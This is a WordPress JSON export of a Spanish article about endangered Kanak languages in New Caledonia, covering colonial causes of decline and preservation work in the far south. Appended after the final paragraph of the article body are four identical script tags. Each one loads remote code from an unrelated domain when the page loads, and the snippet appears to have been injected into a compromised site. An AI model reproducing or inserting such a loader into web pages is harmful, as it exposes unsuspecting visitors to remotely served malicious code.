{"id":66704,"date":"2015-09-04T21:46:18","date_gmt":"2015-09-04T19:46:18","guid":{"rendered":"http:\/\/www.sorosoro.org\/?p=66704"},"modified":"2025-10-21T22:00:08","modified_gmt":"2025-10-21T20:00:08","slug":"lenguas-kanak-en-peligro","status":"publish","type":"post","link":"https:\/\/www.sorosoro.org\/es\/2015\/09\/lenguas-kanak-en-peligro\/","title":{"rendered":"Lenguas kanak en peligro"},"content":{"rendered":"<p><span style=\"font-size:12px\">Publicado por Fabrice Wacalie el November 19, 2011<\/span><br \/>\n&nbsp;<br \/>\n<em>Fabrice Wacalie, doctorando en ling\u00fc\u00edstica oce\u00e1nica, trabaja desde 2007 en la preservaci\u00f3n de las lenguas kanak del extremo sur de Nueva Caledonia.<\/em><\/p>\n<div id=\"attachment_2550\" style=\"width: 510px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" aria-describedby=\"caption-attachment-2550\" class=\"size-full wp-image-2550\" title=\"Nouvelle-Cal\u00e9donie\" src=\"\/wp-content\/uploads\/3481919031.jpg\" alt=\"Nouvelle-Cal\u00e9donie\" width=\"500\" height=\"auto\" \/><p id=\"caption-attachment-2550\" class=\"wp-caption-text\">Nouvelle-Cal\u00e9donie<\/p><\/div>\n<p>En Melanesia, la diversidad ling\u00fc\u00edstica es tradicionalmente la regla y el monoling\u00fcismo, la excepci\u00f3n. Nueva Caledonia alberga unas veintiocho lenguas kanak, once dialectos y un criollo para un total de s\u00f3lo 75 411 hablantes. La mayor\u00eda de las lenguas kanak est\u00e1n hoy en d\u00eda amenazadas.<br \/>\n&nbsp;<br \/>\n<strong>Los factores de la erosi\u00f3n de las lenguas kanak<\/strong><\/p>\n<p>A mediados del s.XIX, durante la \u00faltima d\u00e9cada antes de la colonizaci\u00f3n, el nombre de hablantes en lengua kanakcay\u00f3 en picado. Se debi\u00f3 en cierta medida a las guerras tribales que tuvieron lugar en aquella \u00e9poca, pero tambi\u00e9n a las epidemias provocadas por los primeros contactos con los colonos.<\/p>\n<p>Luego la administraci\u00f3n colonial gener\u00f3 importantes movimientos de poblaci\u00f3n al establecer la capital en Numea, trasto cando de este modo las \u00e1reas ling\u00fc\u00edsticas kanak tradicionales (a excepci\u00f3n de la de n\u00e2\u00e2kw\u00e9ny\u00ef, relativamente aislada). Cuando los colonos se instalaron en la ciudad, expoliaron las tierras a los clanes que ah\u00ed viv\u00edan y les rechazaron. Algunos clanes se fueron m\u00e1s al sur y otros al norte. Las lenguas actuales son el resultado de la amalgama de varias lenguas.<\/p>\n<p>La expansi\u00f3n de la religi\u00f3n cristiana en la lengua de los colonos acentu\u00f3 a\u00fan m\u00e1s el fen\u00f3meno de abandono que sufr\u00edan las lenguas kanak. Los misioneros prohib\u00edan su uso en sus misiones. Se castigaba a los aprendices cuando hablaban en kanak, hasta tal punto que a\u00fan en la actualidad algunos abuelos \u201ctraumatizados\u201d se proh\u00edben hablar en esta lengua. Esto provoc\u00f3 una ruptura en la din\u00e1mica de transmisi\u00f3n intergeneracional.<br \/>\n&nbsp;<br \/>\n<strong>Un ejemplo: Yat\u00e9en el sur del pa\u00eds<\/strong><\/p>\n<p>\u201cCuando los ni\u00f1os me escuchan hablar en lengua kanak, se r\u00eden y me dicen: Wawa [abuela], \u00a1qu\u00e9 bien hablas ingl\u00e9s!\u201d \u2013 nos comenta resignada mamieWaiju, hablante de n\u00e2\u00e2num\u00e8\u00e8, residente en el extremo sur de Nueva Caledonia.<\/p>\n<p>En esta regi\u00f3n, los ni\u00f1os y los j\u00f3venes ya no hablan en kanak, ya que los padres privilegian el franc\u00e9s. Creen que es m\u00e1s importante para su \u00e9xito escolar. De ah\u00ed que s\u00f3lo quede una clase de kanak en Yat\u00e9 y algunas iniciativas institucionales y asociativas que integran el uso de la lengua en actividades extraescolares.<\/p>\n<p>En el d\u00eda a d\u00eda, los ancianos y algunos padres suelen hablar a\u00fan  estas lenguas. Sin embargo, en las ceremonias tradicionales, el franc\u00e9s gana poco a poco terreno.<br \/>\n&nbsp;<br \/>\n<strong>Los actores de la preservaci\u00f3n en el \u00e1rea de drubea-kapume<\/strong><\/p>\n<p>El operador minero Vale Nueva Caledonia, empresa minera de extracci\u00f3n de n\u00edquel y cobalto, ha dedicado medios importantes al programa de valorizaci\u00f3n de las lenguas kanak en el sur del pa\u00eds (eln\u00e2\u00e2num\u00e8\u00e8, eln\u00e2\u00e2drub\u00e9a y eln\u00e2\u00e2kw\u00eanyiien la Isla delos Pinos):<\/p>\n<p>Participo en este programa que consiste en elaborar herramientas pedag\u00f3gicas que tienen por objetivo apoyar la ense\u00f1anza de estas lenguas en las escuelas y hogares.<\/p>\n<p>Entre 2008 y 2010, hemos realizado no menos de 300 entrevistas con m\u00e1s de 100 personas-fuentes, entre ellas, hablantes, institutores, cient\u00edficos, ilustradores, especialistas, etc. Los datos recogidos nos han permitido elaborar juegos pedag\u00f3gicos para transmitir a los ni\u00f1os la lengua de sus mayores. Se han realizado cinco carteles con la tem\u00e1tica de la fauna y la flora en lengua kanak del sur; tambi\u00e9n cinco juegos de memoria, cinco im\u00e1genes y un juego de las especies. Estos juegos se distribuyen de forma gratuita en las escuelas y los hogares del Gran Sur.<\/p>\n<p>Se han puesto en marcha colaboraciones con otros actores culturales. Por ejemplo, est\u00e1 en proyecto la publicaci\u00f3n de un cuento tradicional en lengua n\u00e2\u00e2num\u00e8\u00e8 en colaboraci\u00f3n con la Agencia para el Desarrollo de la Cultura Kanak, prevista para el periodo de \u201cvuelta al cole\u201d 2012.<\/p>\n<p>La Academia de las Lenguas Kanak (ALK) no se queda atr\u00e1s. Desde 2008 dedica toda una serie de medios a la codificaci\u00f3n y estandarizaci\u00f3n de estas lenguas. Una estrecha colaboraci\u00f3n entre el programa Vale y la ALK ha permitido conformar a las normas de esta instituci\u00f3n las herramientas pedag\u00f3gicas.<\/p>\n<p>Asimismo, en 2009, se firm\u00f3 con el colegio Saint-Joseph de Vaoun convenio para apoyar la ense\u00f1anza del n\u00e2\u00e2kw\u00e9ny\u00efen este establecimiento de la Isla de los Pinos. Los fondos dedicados permitieron remunerar a los dos profesores que dieron clase en lengua kw\u00e9ny\u00ef.<\/p>\n<p>Por \u00faltimo, una serie de conferencias-debates fueron organizadas en 2009 cuando el ling\u00fcista TadahikoShintani de la Universidad de Tokio, \u00fanico especialista del n\u00e2\u00e2drub\u00e9a, fue a Nueva Caledonia.<br \/>\nPero, m\u00e1s all\u00e1 de los esfuerzos de instituciones y otros actores locales, la supervivencia de estas lenguas que pertenecen al patrimonio de la humanidad depende en la actualidad de la voluntad de sus hablantes para continuar a hablarlas y utilizarlas.<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Publicado por Fabrice Wacalie el November 19, 2011 &nbsp; Fabrice Wacalie, doctorando en ling\u00fc\u00edstica oce\u00e1nica, trabaja desde 2007 en la preservaci\u00f3n de las lenguas kanak del extremo sur de Nueva Caledonia. En Melanesia, la diversidad ling\u00fc\u00edstica es tradicionalmente la regla y el monoling\u00fcismo, la excepci\u00f3n. Nueva Caledonia alberga unas veintiocho lenguas kanak, once dialectos y [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4],"tags":[],"class_list":["post-66704","post","type-post","status-publish","format-standard","hentry","category-otro"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.0 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Lenguas kanak en peligro - Sorosoro<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.sorosoro.org\/es\/2015\/09\/lenguas-kanak-en-peligro\/\" \/>\n<meta property=\"og:locale\" content=\"es_ES\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Lenguas kanak en peligro - Sorosoro\" \/>\n<meta property=\"og:description\" content=\"Publicado por Fabrice Wacalie el November 19, 2011 &nbsp; Fabrice Wacalie, doctorando en ling\u00fc\u00edstica oce\u00e1nica, trabaja desde 2007 en la preservaci\u00f3n de las lenguas kanak del extremo sur de Nueva Caledonia. En Melanesia, la diversidad ling\u00fc\u00edstica es tradicionalmente la regla y el monoling\u00fcismo, la excepci\u00f3n. Nueva Caledonia alberga unas veintiocho lenguas kanak, once dialectos y [&hellip;]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.sorosoro.org\/es\/2015\/09\/lenguas-kanak-en-peligro\/\" \/>\n<meta property=\"og:site_name\" content=\"Sorosoro\" \/>\n<meta property=\"article:published_time\" content=\"2015-09-04T19:46:18+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2025-10-21T20:00:08+00:00\" \/>\n<meta name=\"author\" content=\"Sorosoro\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Escrito por\" \/>\n\t<meta name=\"twitter:data1\" content=\"Sorosoro\" \/>\n\t<meta name=\"twitter:label2\" content=\"Tiempo de lectura\" \/>\n\t<meta name=\"twitter:data2\" content=\"4 minutos\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2015\/09\/lenguas-kanak-en-peligro\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2015\/09\/lenguas-kanak-en-peligro\/\"},\"author\":{\"name\":\"Sorosoro\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/a457def540d2d426a1f19547404f1917\"},\"headline\":\"Lenguas kanak en peligro\",\"datePublished\":\"2015-09-04T19:46:18+00:00\",\"dateModified\":\"2025-10-21T20:00:08+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2015\/09\/lenguas-kanak-en-peligro\/\"},\"wordCount\":861,\"articleSection\":[\"Otro\"],\"inLanguage\":\"es\"},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2015\/09\/lenguas-kanak-en-peligro\/\",\"url\":\"https:\/\/www.sorosoro.org\/es\/2015\/09\/lenguas-kanak-en-peligro\/\",\"name\":\"Lenguas kanak en peligro - Sorosoro\",\"isPartOf\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/#website\"},\"datePublished\":\"2015-09-04T19:46:18+00:00\",\"dateModified\":\"2025-10-21T20:00:08+00:00\",\"author\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/a457def540d2d426a1f19547404f1917\"},\"breadcrumb\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2015\/09\/lenguas-kanak-en-peligro\/#breadcrumb\"},\"inLanguage\":\"es\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.sorosoro.org\/es\/2015\/09\/lenguas-kanak-en-peligro\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2015\/09\/lenguas-kanak-en-peligro\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Accueil\",\"item\":\"https:\/\/www.sorosoro.org\/es\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Lenguas kanak en peligro\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#website\",\"url\":\"https:\/\/www.sorosoro.org\/es\/\",\"name\":\"Sorosoro\",\"description\":\"Pour que vivent les langues du monde !\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.sorosoro.org\/es\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"es\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/a457def540d2d426a1f19547404f1917\",\"name\":\"Sorosoro\",\"url\":\"https:\/\/www.sorosoro.org\/es\/author\/admin\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Lenguas kanak en peligro - Sorosoro","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.sorosoro.org\/es\/2015\/09\/lenguas-kanak-en-peligro\/","og_locale":"es_ES","og_type":"article","og_title":"Lenguas kanak en peligro - Sorosoro","og_description":"Publicado por Fabrice Wacalie el November 19, 2011 &nbsp; Fabrice Wacalie, doctorando en ling\u00fc\u00edstica oce\u00e1nica, trabaja desde 2007 en la preservaci\u00f3n de las lenguas kanak del extremo sur de Nueva Caledonia. En Melanesia, la diversidad ling\u00fc\u00edstica es tradicionalmente la regla y el monoling\u00fcismo, la excepci\u00f3n. Nueva Caledonia alberga unas veintiocho lenguas kanak, once dialectos y [&hellip;]","og_url":"https:\/\/www.sorosoro.org\/es\/2015\/09\/lenguas-kanak-en-peligro\/","og_site_name":"Sorosoro","article_published_time":"2015-09-04T19:46:18+00:00","article_modified_time":"2025-10-21T20:00:08+00:00","author":"Sorosoro","twitter_card":"summary_large_image","twitter_misc":{"Escrito por":"Sorosoro","Tiempo de lectura":"4 minutos"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/www.sorosoro.org\/es\/2015\/09\/lenguas-kanak-en-peligro\/#article","isPartOf":{"@id":"https:\/\/www.sorosoro.org\/es\/2015\/09\/lenguas-kanak-en-peligro\/"},"author":{"name":"Sorosoro","@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/a457def540d2d426a1f19547404f1917"},"headline":"Lenguas kanak en peligro","datePublished":"2015-09-04T19:46:18+00:00","dateModified":"2025-10-21T20:00:08+00:00","mainEntityOfPage":{"@id":"https:\/\/www.sorosoro.org\/es\/2015\/09\/lenguas-kanak-en-peligro\/"},"wordCount":861,"articleSection":["Otro"],"inLanguage":"es"},{"@type":"WebPage","@id":"https:\/\/www.sorosoro.org\/es\/2015\/09\/lenguas-kanak-en-peligro\/","url":"https:\/\/www.sorosoro.org\/es\/2015\/09\/lenguas-kanak-en-peligro\/","name":"Lenguas kanak en peligro - Sorosoro","isPartOf":{"@id":"https:\/\/www.sorosoro.org\/es\/#website"},"datePublished":"2015-09-04T19:46:18+00:00","dateModified":"2025-10-21T20:00:08+00:00","author":{"@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/a457def540d2d426a1f19547404f1917"},"breadcrumb":{"@id":"https:\/\/www.sorosoro.org\/es\/2015\/09\/lenguas-kanak-en-peligro\/#breadcrumb"},"inLanguage":"es","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.sorosoro.org\/es\/2015\/09\/lenguas-kanak-en-peligro\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/www.sorosoro.org\/es\/2015\/09\/lenguas-kanak-en-peligro\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Accueil","item":"https:\/\/www.sorosoro.org\/es\/"},{"@type":"ListItem","position":2,"name":"Lenguas kanak en peligro"}]},{"@type":"WebSite","@id":"https:\/\/www.sorosoro.org\/es\/#website","url":"https:\/\/www.sorosoro.org\/es\/","name":"Sorosoro","description":"Pour que vivent les langues du monde !","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.sorosoro.org\/es\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"es"},{"@type":"Person","@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/a457def540d2d426a1f19547404f1917","name":"Sorosoro","url":"https:\/\/www.sorosoro.org\/es\/author\/admin\/"}]}},"_links":{"self":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts\/66704","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/comments?post=66704"}],"version-history":[{"count":0,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts\/66704\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/media?parent=66704"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/categories?post=66704"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/tags?post=66704"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}